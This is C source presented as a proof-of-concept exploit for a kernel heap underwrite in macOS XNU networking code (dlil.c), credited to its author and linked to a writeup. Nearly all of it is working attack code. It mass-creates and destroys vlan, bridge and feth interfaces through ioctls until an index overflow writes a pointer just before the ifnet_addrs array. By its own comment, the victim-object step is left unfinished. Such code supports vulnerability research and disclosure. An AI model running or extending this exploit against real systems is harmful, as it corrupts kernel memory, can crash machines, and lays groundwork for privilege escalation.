CVE-2023-23504.c

#include <stddef.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <signal.h>
#include <stdbool.h>

#include <mach/mach.h>
#include <mach/mach_traps.h>
#include <net/if.h>

/*

  Author: Adam Doupe (adamd)
  POC for CVE-2023-23504: a kernel heap underwrite in dlil.c in XNU.
  Writeup: https://adamdoupe.com/blog/2023/01/23/cve-2023-23504-xnu-heap-underwrite-in-dlil-dot-c/

*/


#define VLAN_PREFIX "vlan"
#define BRIDGE_PREFIX "bridge"
#define FETH_PREFIX "feth"
#define GIF_PREFIX "gif"

#define OVERFLOW_TARGET 0x10000

#define DEBUG 0

const int IF_MAXUNIT = 0x7fff;

const int TOTAL_GOAL_INTERFACE_NUMBERS = 0x10000; // If we allocate this many, the next will overflow

const int STEP_1_GOAL_INTERFACE_NUMBERS = TOTAL_GOAL_INTERFACE_NUMBERS / 2; // the next if allocate will trigger the final memory allocation

int sockfd = -1;

int execute_command_get_int_output(char* cmd)
{
   char* to_execute = NULL;
   asprintf(&to_execute, "%s > /tmp/test.adamd", cmd);
   if (to_execute == NULL)
   {
      perror("asprintf");
      exit(-1);
   }
   system(to_execute);
   free(to_execute);
   
   int fd = open("/tmp/test.adamd", O_RDONLY);
   if (fd == -1)
   {
      perror("open");
      exit(-1);
   }

   char buf[4096];
   read(fd, buf, 4096);
   buf[4095] = '\0';

   int result = atoi(buf);

   close(fd);
   system("/bin/rm /tmp/test.adamd");

   return result;
}

void create_interfaces(char* prefix, int prefix_to_use, int num_interfaces, bool keep_interfaces)
{

   int prefix_id = prefix_to_use;

   if (sockfd == -1)
   {
      sockfd = socket(PF_INET, SOCK_STREAM, 0);
      if (sockfd == -1)
      {
         perror("socket");
         exit(-1);
      }
   }

   for (int i = 0; i < num_interfaces; i++)
   {      
      struct ifreq ifr = { 0
      };

      sprintf(ifr.ifr_name, "%s%d", prefix, prefix_id);

      int ret = ioctl(sockfd, SIOCIFCREATE, &ifr);
      if (ret != 0)
      {
         perror("ioctl SIOCIFCREATE");
         exit(-1);
      }

      memset(&ifr, 0, sizeof(ifr));
      sprintf(ifr.ifr_name, "%s%d", prefix, prefix_id);

      // now destroy it, for speed
      if (!keep_interfaces)
      {
         ret = ioctl(sockfd, SIOCIFDESTROY, &ifr);
         if (ret != 0)
         {
            perror("ioctl SIOCIFDESTROY");
            exit(-1);
         }
      }

      prefix_id += 1;

      if ((i % 100) == 0)
      {
         printf("Created %s %d\n", ifr.ifr_name, i);
      }
   }
}


// 1. Allocate interfaces right before the last allocation that triggers a kalloc of the ifnet_addrs.
void step_1()
{
   // ifnet_addrs and ifindex2ifnet are both allocated after interfaces reaches 8+1, 16+1, 32+1, ...
   
   char* cmd = "/usr/sbin/sysctl -A | /usr/bin/grep ifcount | /usr/bin/cut -d':' -f2 | /usr/bin/xargs";
   int current_interfaces = execute_command_get_int_output(cmd);

   printf("current_interfaces: %d\n", current_interfaces);

   // Given the goal_interface_numbers and the limit, should be able to just do one allocation of a type that isn't used yet.

   // For no reason at all, let's use vlan, which is probably not used at all

   int needed_interfaces = STEP_1_GOAL_INTERFACE_NUMBERS - current_interfaces;

   printf("Going to create %d more interfaces\n", needed_interfaces);

   create_interfaces(VLAN_PREFIX, 0, needed_interfaces, false);

   printf("Step 1 complete!\n");
}

int target_feth_idx = 0;

// 3. Allocate the next interface, which should cause the allocation
// of ifnet_addrs. It should be right after what we did in step_2.
void step_3()
{
  printf("Starting step 3\n");

  const int bridge_interfaces = 0x100;

  create_interfaces(BRIDGE_PREFIX, 100, bridge_interfaces, false);

  int needed_interfaces = TOTAL_GOAL_INTERFACE_NUMBERS - STEP_1_GOAL_INTERFACE_NUMBERS - bridge_interfaces;

  printf("Creating the rest of the %d feth interfaces needed\n", needed_interfaces);
  create_interfaces(FETH_PREFIX, 0, needed_interfaces-1, false);

  create_interfaces(FETH_PREFIX, needed_interfaces-1, 1, true);

  // this should be the feth that was created
  target_feth_idx = needed_interfaces - 1;

  printf("target interface: feth%d\n", target_feth_idx);

  printf("Step 3 complete\n");
}



int main(int argc, char** argv)
{
   step_1();
   // step 2 would be to allocate the victim object that we want to overwrite, but I haven't done it yet on 12.6
   step_3();

   printf("If we made it here, we did not crash, so something was before ifnet_addrs and was overwritten\n");
   printf("ifnet_addrs[-1] should have been overwritten with a pointer\n");

   return 0;
}